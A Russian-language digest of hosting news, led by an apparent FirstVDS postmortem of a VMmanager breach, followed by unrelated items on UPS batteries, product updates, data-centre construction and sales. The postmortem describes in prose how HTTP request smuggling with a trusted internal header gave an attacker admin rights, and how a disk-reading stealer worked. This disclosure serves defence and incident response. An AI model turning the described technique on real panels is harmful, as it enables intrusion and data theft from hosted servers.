Исследованный сборщик читал диски без изменения их содержимого. Сам этот способ сбора не требует обязательной переустановки каждой ВМ. Однако похищенные учётные данные могут использоваться для последующего входа, поэтому проверьте журналы авторизации, пользователей, authorized_keys, задания cron и службы systemd. При обнаружении постороннего доступа или невозможности подтвердить целостность системы восстановите её из доверенного источника. Переустановка не отзывает ключи и токены внешних сервисов — их необходимо заменить отдельно.

Проверка гостевой системы и смена учётных данных решают разные задачи. Отсутствие следов постороннего входа не исключает чтения файлов со стороны гипервизора, а смена одного пароля не отзывает остальные секреты, которые могли храниться на сервере.

Если уведомление не поступило, проверьте сообщения в личном кабинете. По результатам проведённой проверки мы уведомили владельцев серверов, отнесённых к затронутым. При выявлении дополнительных обстоятельств мы направим отдельные сообщения.

Хронология событий
  • 14–15 октября. ISPsystem выпустил обновления безопасности VMmanager. Мы обратились в поддержку за их установкой; обновлением занимались специалисты вендора. По сообщению поддержки, к вечеру 15 октября все панели были обновлены. На запрос о характере ошибки мы получили ответ о наличии уязвимости безопасности без раскрытия технических подробностей.
  • 17 октября, 00:44. Самая ранняя метка создания найденного архива сборщика. В течение дня зафиксированы несколько волн сбора данных и соединений с сервером злоумышленника. В первых уведомлениях клиентам было указано окно 12:27–22:34. Последующая проверка узлов выявила более ранние архивы и расширила установленный период сбора.
  • 17 октября, около 23:00. После предупреждения представителя ISPsystem об активности злоумышленника мы обнаружили посторонние скрипты. Дежурная команда отдела эксплуатации остановила панели VMmanager и применила сетевую изоляцию.
  • 18 октября, 04:00. ISPsystem выпустил экстренное обновление. Оно намеренно ограничивало часть функций панели, в том числе запуск скриптов внутри платформы, чтобы злоумышленник не мог ими пользоваться. Первопричина на тот момент ещё не была найдена.
  • 18 октября. Начали персональное уведомление затронутых клиентов по электронной почте и через личный кабинет. В сообщениях приводились перечни серверов и инструкции по смене учётных данных.
  • 18 октября, 18:00. Вендор выпустил обновление, которое закрывало дополнительные возможные пути перемещения внутри панели.
  • 19–20 октября. Из-за экстренного обновления 18 октября перестал работать модуль выдачи IP-адресов, и новые виртуальные серверы не создавались. Работу восстановили после обновления 21 октября.
  • 19–21 октября. 19 октября ISPsystem выпустил исправление уязвимости HTTP Request Smuggling. Первая версия сильно урезала функции панели. Наши панели с 17 октября были закрыты от внешней сети, поэтому вендор решил её не ставить и дождаться доработанной версии. Она вышла утром 20 октября. С 20 по 21 октября вендор вместе с нашей командой обновлял панели по очереди, кластер за кластером, и параллельно возвращал функции, отключённые экстренными обновлениями.
  • 21–22 октября. При дополнительной проверке управляющих серверов обнаружены инструменты сохранения удалённого доступа. Для поиска вредоносных компонентов команда использовала собственный анализ и Kaspersky Virus Removal Tool (KVRT) с обновлёнными детектами.
  • 23 октября. ISPsystem выпустил очередные обновления безопасности VMmanager. К этой дате мы сменили пароли всех учётных записей VMmanager — от пользовательских до административных.

Файловые метки указывают, что сбор данных начался примерно за 22 часа до обнаружения инцидента. Точное время первоначального проникновения не установлено. В ходе нашей проверки следов присутствия злоумышленника до 17 октября не обнаружено.

Механизм получения административного доступа
По техническому пояснению ISPsystem, злоумышленник использовал HTTP Request Smuggling — контрабанду HTTP-запросов. По описанному поведению мы сопоставили этот механизм с вариантом CL.0, при котором прокси учитывает тело запроса, а внутренний сервис фактически обрабатывает его как отсутствующее. CL.0 здесь является нашей технической интерпретацией описания вендора.

Атакующий отправлял запрос на установку WebSocket-соединения и помещал в его тело дополнительный HTTP-запрос. Nginx передавал тело внутреннему сервису как часть исходного запроса. Сервис отклонял запрос на соединение, но не вычитывал его тело и сохранял соединение открытым. Оставшиеся данные затем разбирались как следующий самостоятельный запрос.

Во вложенном запросе находился заголовок, которым внутренние службы обозначали доверенные обращения. Обычно nginx не пропускал такой заголовок от внешнего клиента. В данном случае он находился внутри тела первого запроса и не проходил обычную обработку заголовков. Внутренний сервис принимал его как признак доверенного обращения и выполнял запрос с административными полномочиями.

По последующему пояснению ISPsystem, обновление 14–15 октября закрывало другую уязвимость. Уязвимость HTTP Request Smuggling вендор нашёл и закрыл 19–20 октября, у нас исправление установлено 20–21 октября (подробнее в хронологии). После обновления мы продолжили проверку инфраструктуры на ранее оставленные средства доступа.

Получив административный доступ, атакующий использовал штатный механизм запуска задач на узлах. Сборщик читал диски со стороны гипервизора, без входа по SSH в каждую виртуальную машину. Поэтому отсутствие посторонних входов в гостевую систему не исключает доступа к её файлам.

Другие провайдеры, включая Senko Digital и ProfitServer, сообщали о создании посторонних административных учётных записей и других способах сохранения доступа в панелях. В наших панелях признаков такого способа закрепления не обнаружено; этот результат проверки также подтвердил вендор.

Затронутые системы и данные
Команда располагает бинарным файлом стиллера и исследовала его в доступном объёме. Анализ образца и параметров запуска из плейбуков управляющего сервера платформы позволил установить маски имён и расширения файлов, отбиравшихся для включения в дампы. В изученной команде запуска категории сбора и ограничение размера файлов не переопределялись; дополнительные маски отбора не задавались. По справке программы, набор категорий по умолчанию включает секреты и учётные данные, данные криптокошельков, пользовательские файлы и каталоги, системные настройки, данные Tor и историю команд. Исследованный стиллер выборочно копировал файлы с дисков клиентских ВМ, не создавая полных образов дисков. Дампы оперативной памяти ВМ этим инструментом не создавались.

Действие, заданное после завершения сборщика, отправляло уже сформированный архив на сервер злоумышленника; команд дополнительного сбора данных оно не содержало. На каждом обследованном узле найдено не более одного дампа стилера. По исследованным плейбукам и обнаруженным артефактам признаков дополнительного извлечения данных из клиентских ВМ за пределами установленного сценария сбора не выявлено. При этом количество сохранившихся дампов само по себе не исключает других операций с данными.

Найденные архивы сохранились, но зашифрованы ключом злоумышленника. Ключа расшифровки у нас нет. Анализ бинарного файла и известные параметры запуска позволяют установить правила отбора, однако проверить точный перечень фактически скопированных файлов по каждой ВМ по содержимому архивов невозможно; для архивов доступны размеры и файловые временные метки.

Архивы сборщика обнаружены на 457 узлах виртуализации — физических серверах, размещающих клиентские ВМ. Это количество узлов, а не клиентов или виртуальных машин: на одном физическом сервере работают ВМ разных заказчиков.

Суммарный размер найденных архивов составляет 117,24 ГиБ, или около 126 ГБ. Это объём файлов, обнаруженных на узлах. Он не устанавливает объём данных, фактически полученных злоумышленником.

По результатам антивирусной проверки исследованные образцы отнесены к семействам Grabber — средству кражи учётных данных — и Bpfit — бэкдору для удалённого доступа. Дополнительно выявлен инструмент Gsnetcat. Эти компоненты обнаружены на управляющих серверах и узлах VMmanager 6. Доступ снаружи мы перекрыли ещё 17 октября. Выявленные вредоносные объекты были сохранены для анализа, затем удалены.

На одном из управляющих серверов VMmanager также обнаружен архив базы панели управления. Он учитывается отдельно от зашифрованных архивов сборщика на узлах. База панели управления содержит данные учётных записей и сведения, связанные с доступом к виртуальным серверам; соответствующие пароли, ключи и токены рассматриваются как скомпрометированные. Персональных данных клиентов в базе VMmanager не было.

Биллинг, личный кабинет, платёжные данные, инфраструктура резервного копирования и другие системы, где хранятся персональные данные клиентов и сведения об их услугах, не управляются через VMmanager и инцидентом не затронуты.

Оценка передачи данных
Журналы прокси подтверждают соединения с сервером злоумышленника. Однако используемый формат журналов прокси-сервера учитывал размер ответа клиенту и не содержал достаточных данных для расчёта объёма отправленных данных. При семплировании объём трафика в NetFlow рассчитывается на основе выборочного учёта пакетов с последующей экстраполяцией на весь поток. Поэтому полученные значения являются статистической оценкой и могут отличаться от фактического объёма переданных данных. Подтвердить или опровергнуть полную передачу всех подготовленных архивов невозможно.

Для оценки последствий мы исходим из передачи данных всех виртуальных машин, которые в период сбора находились на узлах с обнаруженными архивами, кешами или индексами. Это основание для уведомления клиентов и смены учётных данных. Такая оценка не означает доказанного копирования всех файлов или полного диска каждой ВМ.

Для узлов, на которых не обнаружены ни каталоги дампов, ни связанные вредоносные процессы, мы принимаем рабочую оценку отсутствия передачи данных. Отсутствие этих признаков само по себе не подтверждает отсутствие иных последствий компрометации.

Выполненные меры и состояние восстановления
Команда ограничила сетевой доступ к панелям управления и узлам VMmanager. На пограничных маршрутизаторах заблокированы сети автономной системы, использовавшейся атакующим, чтобы затруднить обход блокировки сменой адреса у того же провайдера. Мы проверяли процессы и автозапуск, сопоставляли сетевые и файловые следы, сохраняли образцы и заменяли скомпрометированные учётные данные.

По информации ISPsystem, Лаборатория Касперского подготовила по материалам провайдеров эвристические детекты и включила их в базы KVRT 21 октября. Дополнительное сканирование помогло выявить оставшиеся вредоносные компоненты. Их копии сохранены для дальнейшего анализа, после чего обнаруженные объекты удалены.

По состоянию на 23 октября в VMmanager сменены пароли всех учётных записей, включая пользовательские и административные. Эта мера относится к платформе управления. Пароли и секреты внутри клиентских ВМ и во внешних сервисах необходимо менять отдельно.

Экстренные обновления вендора ограничивали часть функций панели. Одно из них, от 18 октября, нарушило выдачу IP-адресов, и 19–20 октября новые виртуальные серверы не создавались. Работа восстановлена 21 октября. Полная статистика доступности клиентских ВМ ещё не сведена; утверждать, что инцидент не повлиял на работу всех сервисов, было бы некорректно.

Рост числа обращений увеличил сроки ответа поддержки. Мы обрабатываем накопившиеся запросы и приносим извинения за задержки. Обращения, связанные с признаками компрометации и восстановлением доступа, просим описывать с указанием конкретного сервера и обнаруженных признаков.

Мы установили выпущенные ISPsystem обновления безопасности. В журнале изменений за 23 октября указаны сборки VMmanager 2026.09.1-8 и 2026.05.2-12. Параллельно мы отдельно проверяли управляющие серверы и узлы: исправление уязвимости не подтверждает удаления всех ранее внедрённых инструментов злоумышленника.

По сообщению ISPsystem, 23–25 октября вендор проверял исправления на ряде доступных из интернета тестовых стендов, имитирующих инфраструктуру провайдера: с исправлениями и без них. На стенды поступило более 10 000 запросов с перебором способов атаки и вызовов API. Вендор сообщил о воспроизведении атаки на контрольных стендах и отсутствии компрометации стендов с исправлениями. По его наблюдениям, новых случаев компрометации инфраструктур, установивших исправления от 19–20 октября, не зафиксировано. Исправления подтвердили эффективность в условиях реальной атаки. При этом ISPsystem продолжает изучать, какие векторы злоумышленник пробовал использовать: эти данные будут учтены в следующих патчах. Эти сведения приводятся как результаты проверки ISPsystem.

На момент подготовки отчёта командой FirstVDS выполнены следующие изменения:
  • в VMmanager заменены пароли, ключи и токены;
  • для панелей и узлов VMmanager, а также DNSmanager действуют сетевые ограничения;
  • внедрён новый прокси-сервер с расширенным журналированием и ограничениями исходящих соединений.

Инцидент не считается закрытым. Завершение восстановления связано с проверкой установленного исправления, устранением выявленных способов сохранения доступа, отзывом скомпрометированных учётных данных и контрольным обследованием систем.

Дальнейшие изменения защиты
Продолжаются следующие работы:
  • проверка всего управляющего контура и поиск оставшихся способов сохранения доступа;
  • замена секретов смежных систем и проверка интеграций;
  • восстановление части узлов средствами дистрибутива с проверкой целостности; для узлов, целостность которых подтвердить не удастся, предусмотрена пересборка из доверенной операционной системы;
  • разделение прокси по сервисам и зонам, введение дополнительных правил исходящей фильтрации;
  • централизованное длительное хранение журналов и настройка аварийных оповещений дежурной смене.

Мы изменяем порядок реагирования: сообщение об активной эксплуатации уязвимости становится основанием для немедленного ограничения доступа к затронутым системам, параллельно с проверкой и установкой исправлений. После остановки панели проверке подлежат все узлы, которыми она управляла.

Прямой публичный доступ клиентов к VMmanager восстанавливать не планируем. Управление серверами будет предоставляться через личный кабинет. О сроках и доступных функциях сообщим отдельно.

Компенсации
После публикации данного отчёта мы начнём рассмотрение вопросов компенсации. Порядок обращения и условия рассмотрения будут опубликованы отдельно.

Материалы расследования и источники
Материалы аналитической группы FirstVDS: инвентаризация архивов и узлов, анализ образцов, журналы прокси-сервера и сетевые данные, результаты антивирусных проверок, переписка с поддержкой и внутренний технический постмортем.

Технические пояснения ISPsystem и материалы вендора, использованные при подготовке отчёта. Описание первопричины и результаты испытаний на тестовых стендах приведены со ссылкой на сведения ISPsystem.

ISPsystem, сообщение об инциденте от 20 октября: ispsystem.ru/news/vulnerability-incident

ISPsystem, журнал изменений VMmanager: ispsystem.com/vm-changelog

Senko Digital, собственный постмортем инцидента: senkostatus.com/history/inci_EhaD8uWavIoVCE

ProfitServer, сообщение об инциденте с VMmanager 6: profitserver.net/knowledge-base/vmmanager-6-october-2026/

HTTP request smuggling, вариант CL.0, описание класса: portswigger.net/web-security/request-smuggling/browser/cl-0

Публичный разбор инцидента ISPsystem: www.ispsystem.ru/news/post-mortem

Каждая батарея имеет значение



Батареи ИБП работают в виде батарейных блоков. Износ одной батареи может повлиять на весь блок и, в крайних случаях, снизить его способность обеспечивать резервное питание.



Именно поэтому мы, помимо прочего, осуществляем мониторинг:
  • Напряжение,
  • температура,
  • внутреннее сопротивление,
  • изменения этих параметров с течением времени.
Это позволяет нам выявлять аномалии на уровне отдельного компонента до того, как они повлияют на работу всей системы.

Зачем мы измеряем внутреннее сопротивление?
Одного лишь корректного показания напряжения недостаточно, чтобы считать батарею исправной.

Одним из параметров, позволяющих контролировать старение батареи, является внутреннее сопротивление. Измерение проводится во время нормальной работы системы с использованием метода впрыска переменного тока (ACIR — Alternating Current Internal Resistance). На батарею подается небольшой сигнал переменного тока, а полученное напряжение используется для определения внутреннего сопротивления — без необходимости отключения батареи от ИБП.

Однако наиболее важным фактором является не отдельное измерение, а тенденция изменения во времени.

Если внутреннее сопротивление одной батареи постепенно начинает отличаться от сопротивления других батарей в той же цепочке, это может быть ранним признаком ухудшения ее состояния.

Выявление проблем до выхода батареи из строя
Наибольшую ценность представляет не однократное измерение, а непрерывный мониторинг изменений параметров батареи с течением времени.

Если внутреннее сопротивление одной батареи начинает постепенно увеличиваться или ее поведение начинает отличаться от поведения других батарей в той же цепочке, это можно рассматривать как сигнал к более ранней проверке.

Это означает, что нам не нужно ждать фактического выхода батареи из строя. Мы можем запланировать осмотр или замену во время планового технического обслуживания — до того, как состояние батареи начнет влиять на производительность всей цепочки.

На практике мониторинг позволяет нам реагировать на первые признаки ухудшения состояния батареи, а не только на фактический отказ.

Дайджест за Q3



В ispmanager множество обновлений, и без ложной скромности скажем — один другого краше. Посмотрите сами.

Новые способы запустить сайт в ispmanager — их вышло четыре
1. Сгенерировать сайт на WordPress по промпту
Модуль «AI-конструктор сайтов» (10Web) создаст сайт за пару минут, уже с картинками и текстами — достаточно дать ему промпт, например такой:

Пекарня «Спокойствие с корицей», Казань. Семейная пекарня и кафе. Нужен сайт с витриной товаров, ценами, отзывами и корзиной для заказа, а также страницы «О нас» и «Акции и новости». Заказ оформляется онлайн, клиент забирает его в пекарне и оплачивает на месте. Ассортимент: хлеб и багеты, круассаны и слойки. Стиль теплый, уютный и современный, молочные и зеленые оттенки. Все тексты на русском языке.

Посмотрите, какая получилась красота:


Попробуйте и вы — один сайт через AI можно создать бесплатно. AI-конструктор включен по умолчанию с обновления 6.151.0. В ispmanager перейдите в Сайты → Создать сайт → AI-конструктор сайтов — и творите!
  • Есть готовые модули: магазин, онлайн-запись, оплата, формы, рассылки;
  • Сайт на WordPress полностью ваш, не зависит от платформы;
  • Легко найти помощь: в WordPress найдется решение под любой запрос.
www.ispmanager.ru/wordpress-ai-builder

2. Развернуть сайт из Git-репозитория, без ручной загрузки файлов
Подключайте к ispmanager репозитории с GitHub, GitLab, Bitbucket и других Git-хостингов и разворачивайте сайты — панель сама заберет код, выполнит сборку по заданным командам и положит файлы в директорию сайта. Обновление в релизе 6.153.

3. Настроить обратный прокси
Сделать из VPS с ispmanager прокси-сервер стало просто. Перейдите в Сайты → Создать сайт → Обратный прокси — и настройте перенаправление запросов с домена без ручного погружения в config. Можно проксировать запросы на внешний URL, Unix-сокет или в Docker-контейнер; проксировать разные пути одного домена в разные цели; управлять кэшированием ответов, таймаутами и заголовками, которые уходят на бэкенд. Обратное проксирование вышло в релизе 6.153.

4. Развернуть сайт на Laravel
По многочисленным просьбам пользователей добавили автоматическую установку фреймворка Laravel — разворачивать приложения на нем теперь стало просто.

Временные домены — дарим имя сайту, пока DNS не настроен
Пользуйтесь временными доменами, чтобы работать с сайтом, пока рабочий домен не куплен и DNS не настроен: тестируйте, показывайте клиентам прототипы и стейджинги, используйте временные домены для временного переноса сайта при его миграции. Как подключить временные домены, читайте в документации.
www.ispmanager.ru/docs/ispmanager/vremennye-domeny

Модуль «Лимитирование ispmanager» изолирует пользователей и не требует установки специальной ОС
Новый модуль — альтернатива CloudLinux для изоляции файловой системы и ресурсов пользователей. Подключается в ispmanager как модуль и работает на AlmaLinux 9 и 10 — список поддерживаемых ОС будем расширять.
www.ispmanager.ru/limiting

Интересное в блоге ispmanager
А вы знали, что функциональность ispmanager можно расширить самостоятельно?
​Разработчик Алексей рассказал, как это сделать, на примере плагина для поддержки mod_rewrite в nginx.
www.ispmanager.ru/news/rasshiryaem-vozmozhnosti-ispmanager-sozdam-plagin-dlya-podderzhki-modrewrite-v-nginx

Как мы выбирали LLM, чтобы она советовала, что делать с вашими конфигами
За что нам не понравились флагманские модели и почему не торопимся добавлять эту фичу в ispmanager.
www.ispmanager.ru/news/vybor-modeli-llm-dlya-vnedreniya-v-produkt

Как перенести почту на VPS с ispmanager с учетом подводных камней хостинга
Инструкция от читателя сообщества ispmanager Романа, проверенная жизнью.
www.ispmanager.ru/news/perenos-pochty-pod-upravlenie-ispmanager-podrobnaya-instrukcziya-dlya-prakticheskogo-primeneniya

Энергоцентр и решение, которое нас выручило



Летом мы построили для энергоцентра шесть фундаментов, а в сентябре на них встало оборудование: дизель‑генераторные и газопоршневые установки переехали с площадки временного хранения на свои проектные места.

Коротко о главном за сентябрь
  • Энергоцентр: три ДГУ и две ГПУ установлены на штатные фундаменты, третья ГПУ доукомплектовывается и станет резервной.
  • КПП: здание обставлено мебелью по дизайн‑проекту, на навесе рядом готова кровля.
  • Проект ЦОД: стадия «П» завершена, по экспертизе устраняем мелкие замечания.
  • Своя генерация: ограничения на подключение новых ЦОД к сетям в Подмосковье нас не касаются.

Энергоцентр: установки на своих местах
Главное событие сентября: три дизель‑генераторные установки (ДГУ) и две газопоршневые установки (ГПУ) — все в контейнерном исполнении — переехали с площадки временного хранения на фундаменты энергоцентра. Весной мы их привезли и разгрузили (часть 15), летом построили под них шесть фундаментов (часть 18). Теперь оборудование стоит на проектных местах.


Напомним, как распределены роли. Газопоршневые установки — основной источник питания капитального ЦОД, дизель‑генераторные — резерв на случай аварии. Мощность каждой ГПУ — 1 МВт, каждой ДГУ — 1,3 МВт, всего 3,9 МВт резерва.

Третья газопоршневая установка пока в сборке. Двигатель уже есть, теперь его нужно оснастить всей инженерной начинкой и упаковать в контейнер. Первые две машины приехали полностью готовыми, а двигатель третьей — от другого производителя, и в текущих реалиях комплектация такой установки занимает заметно больше времени.

На график стройки это не влияет: третья ГПУ войдёт в работу как резервная. В первой очереди строительства — одно капитальное здание ЦОД, и запускать его будем с одного машинного зала, поэтому двух установок на старте хватает с запасом. К капстрою можно приступать, не дожидаясь третьей машины.



КПП: обстановка рабочая
Про КПП мы рассказывали не раз: его конструкции давно собраны, и снаружи здание выглядит законченным. В сентябре оно стало рабочим и изнутри.


Мы закупили мебель и расставили её по дизайн‑проекту. Обустроены три зоны:
  • комната охраны — пост, через который проходит всё движение на площадку;
  • переговорная — для встреч с подрядчиками и рабочих совещаний;
  • рабочие кабинеты инженеров — чтобы команда стройки работала прямо на объекте.

КПП стал первым зданием в Марфино, где люди могут полноценно работать. По сути, у стройки появился свой штаб.

Почти готов к работе и навес рядом с КПП: кровлю смонтировали. Следующий этап — монтаж боковых ограждающих панелей.



Своя генерация: как мы угадали тренд
Проект здания ЦОД прошёл стадию «П», по экспертизе остались точечные замечания — устраняем их. Следующий шаг — разрешение на строительство, и здесь мы спокойны.

Весной в Минцифры публично подтвердили то, о чём рынок говорил давно: свободной мощности для новых ЦОД в Москве и области нет, и их подключение к сетям ограничено (Эксперт). Позиция понятная: энергосистема региона и так работает под нагрузкой, а в текущих реалиях лишняя осторожность не помешает. Выходом и отрасль, и министерство называют собственную генерацию.

Мы сделали ставку на неё заранее. Основное питание капитального ЦОД в Марфино — газопоршневые установки, резерв — дизель‑генераторные установки. Поэтому сетевые ограничения проект не затрагивают, и путь к разрешению на строительство у нас понятный.

Резерв при этом тоже автономный: у каждой ДГУ топливный бак на 9–10 тонн — это 30–36 часов работы под полной нагрузкой. На случай долгой аварии заключены договоры сразу с двумя топливными компаниями, чтобы не зависеть от одного поставщика. Плановая доставка — в течение двух дней, экстренная — до 8 часов, заявки принимаются круглосуточно.

Подвоз успевает задолго до того, как баки опустеют, так что автономность фактически не ограничена. Поэтому отдельное топливохранилище на площадке не требуется.

Проверено на КЦОД
Логику «своё питание на случай любых отключений» мы уже проверили в деле — на контейнерном ЦОД, который работает на площадке (часть 15). На пусконаладке его дизель‑генератор на 200 кВт много раз запускали по сценарию «пропало внешнее питание». А потом проверку устроила сама природа: после сильного снегопада в округе несколько раз аварийно отключали электричество. Каждый раз генератор подхватывал нагрузку штатно, и КЦОД работал без перебоев.



Охлаждение тоже проверили под нагрузкой: серверную грели тепловыми пушками, кондиционеры держали заданный режим. Капитальный ЦОД будем строить с той же логикой — только в масштабе мегаватт и с газом в роли основного источника.

В итоге
Энергоцентр собран на штатных местах: три ДГУ и две ГПУ стоят на фундаментах, третья ГПУ станет резервной. КПП обставлен и работает как штаб стройки, проект ЦОД — на финише экспертизы. Ставка на собственную генерацию оправдалась: сетевые ограничения в Подмосковье нас не касаются.

Подготовительный этап в Марфино подходит к концу. Дальше нам предстоит закрыть замечания экспертизы, оформить разрешение на строительство и полноценно стартовать капстрой здания ЦОД. Параллельно закупаем ГРЩ и доукомплектовываем третью ГПУ. О старте капстроя расскажем в ближайших выпусках.

/tag/DC4Y.1

Закрытие сервиса Yandex Container Registry



Что происходит
Мы приняли решение закрыть сервис Yandex Container Registry. Понимаем, что это изменение может затронуть ваши рабочие процессы, и постараемся сделать переход комфортным.

Ключевые даты
Закрытие сервиса пройдет в три этапа:
  • 13 октября 2026 — прекращение новых продаж сервиса Yandex Container Registry. Клиенты, подключившие сервис ранее, смогут пользоваться им до 10 ноября 2026 года.
  • 10 ноября 2026 — сервис переходит в режим read-only. Создание новых реестров станет недоступно. Текущие пользователи Yandex Container Registry смогут только просматривать ранее созданные реестры и выгружать данные из них.
  • 14 декабря 2026 — сервис полностью прекращает работу. Доступ к интерфейсу сервиса будет закрыт для всех пользователей.

Что будет с вашими данными
Ваши данные (метаданные реестров, настройки прав доступа к реестру, политики доступа для IP-адресов, политики жизненного цикла, настройки сканирования, алиасы для реестров) не будут потеряны. После закрытия сервиса резервные копии ваших данных будут храниться до 15 марта 2027 года — их можно будет запросить через техническую поддержку.

Миграция
В качестве альтернативы перенесите свои реестры в Yandex Cloud Registry.
yandex.cloud/ru/docs/cloud-registry

Мы подготовили руководство, которое поможет при миграции: Миграция с Container Registry на Cloud Registry.
yandex.cloud/ru/docs/container-registry/tutorials/container-registry-migration

Новости



UPD 23.10
Что сейчас с серверами и панелями

Серверы клиентов работают. Но всё, что связано с управлением, может проворачиваться медленнее чем обычно: выдача новых серверов, перезагрузка, смена тарифа и другие действия из личного кабинета. Причин три:
  • после обновлений безопасности системе виртуализации нужно больше времени на каждую операцию;
  • после закрытия доступа к панелям, накопилась большая очередь задач, и мы её разгребаем;
  • мы дополнительно ограничили внутренние сетевые доступы между системами. Это тоже замедляет работу, но так безопаснее.
  • пока что большинство операций с VMmanager и DNSmanager доступны только через поддержку.

Поддержка
Техническая поддержка работает 24/7. Обращения принимаются, смены усилены, блок на тикеты стараемся больше не вешать, но в очереди всё еще огромное количество обращений. Писать повторно в тот же тикет не нужно: каждый новый ответ поднимает тикет в очереди заново, и он ждёт дольше.

Что дальше
В начале следующей недели опубликуем совместный пресс-релиз с ISPsystem (понедельник) и подробный постмортем FirstVDS (вторник). Только после этого займёмся компенсациями и отдельно расскажем, что и как будем компенсировать.

UPD 21.10, 15:00 МСК
Коротко, с тем, что появилось за сутки.

1. Мы завершили собственный технический разбор инцидента, не дожидаясь результатов расследования вендора. Это позволило уточнить масштаб инцидента и действия злоумышленников. Клиентам, чьи виртуальные машины были определены как затронутые в ходе дополнительной проверки, мы направили уведомления. Уведомления отправлялись в три этапа: на разных узлах вредоносное ПО находилось в разном состоянии и оставило разные следы, поэтому выявить весь охват одновременно не удалось. Дополнительная проверка завершена; по её результатам выявления новых затронутых узлов не ожидаем.

2. В ходе разбора мы нашли на части узлов следы закрепления — скрытые сервисы, замаскированные под служебные процессы, которые могли вернуть злоумышленнику доступ. Мы устраняем закрепление и проверяем каждый затронутый узел, возвращая его в работу только после подтверждения, что следов злоумышленника на нём не осталось.

3. Доступ к панели виртуализации останется закрытым — возможно насовсем или как минимум пока мы не восстановим все затронутые узлы. Управление серверами переносим в личный кабинет. Сроки переноса функций пока уточняются. То, чего ещё нет в личном кабинете, временно решаем через обращения в техподдержку.

4. Полный объём выгруженных данных подтвердить мы не можем, поэтому исходим из худшего: если вы получили уведомление — считайте скопированными все данные с сервера и меняйте доступы, если ещё не сделали. Сейчас это главное, что вас защищает.

5. За последние сутки вендор активно работал с инфраструктурой и сообщил, что уязвимость закрыта. Несмотря на это, открывать доступ мы пока не будем: до полного восстановления и проверки затронутых узлов инфраструктура остаётся в изоляции.

Отдельно про заказ: обновления вендора также позволили нам возобновить выдачу новых серверов. Поэтому заказ работает, хотя обработка пока идёт медленнее обычного.

Поддержка перегружена из-за большого числа обращений: общие вопросы по инциденту — в нашем Telegram-чате; через тикеты пишите только по конкретным услугам и не дублируйте уже созданные.

Жутко выгодная распродажа к Хэллоуину



Жутко выгодная распродажа к Хэллоуину!
Страшно представить, но цены на серверы Friendhosting снова падают! К Хэллоуину мы приготовили для вас нечто особенное — пугающе приятные скидки на наши услуги.
Самое время запустить новый проект, увеличить мощности для текущих задач или переехать на более производительный сервер. Не бойтесь больших мощностей — бойтесь упустить такие скидки!

Особые условия для новых клиентов
При заказе нового Progressive SSD VDS, High CPU VDS или Storage HDD VDS получите скидку 40% по промокоду hw2026
Важно: промокод действует только на первый период оплаты. Для максимальной выгоды рекомендуем оформить заказ сразу на 3 месяца.

Уже с нами? Для своих — особая магия скидок!
Продлевайте VDS на 3, 6 или 12 месяцев и получайте автоматическую скидку 3%, 5% или 10%, которая суммируется со скидкой по программе лояльности — до 25%.
Акция действует до 25.11.2026.
friendhosting.net/ru/vps.php

22.10.2026 | Версия 1.11.87



Улучшения и исправления
Обновлен PHP для устранения критических уязвимостей.

Устранены уязвимости удаленного выполнения кода CVE-2026-109618. CVE-2026-109619PHP обновлен до следующих исправленных версий:
  • PHP 7.4.33
  • PHP 8.2.35
  • PHP 8.3.36
  • PHP 8.4.27
  • PHP 8.5.12
Другие версии PHP не были обновлены в рамках этого релиза. Их использование крайне не рекомендуется; перейдите на одну из исправленных версий, перечисленных выше.

fastpanel.direct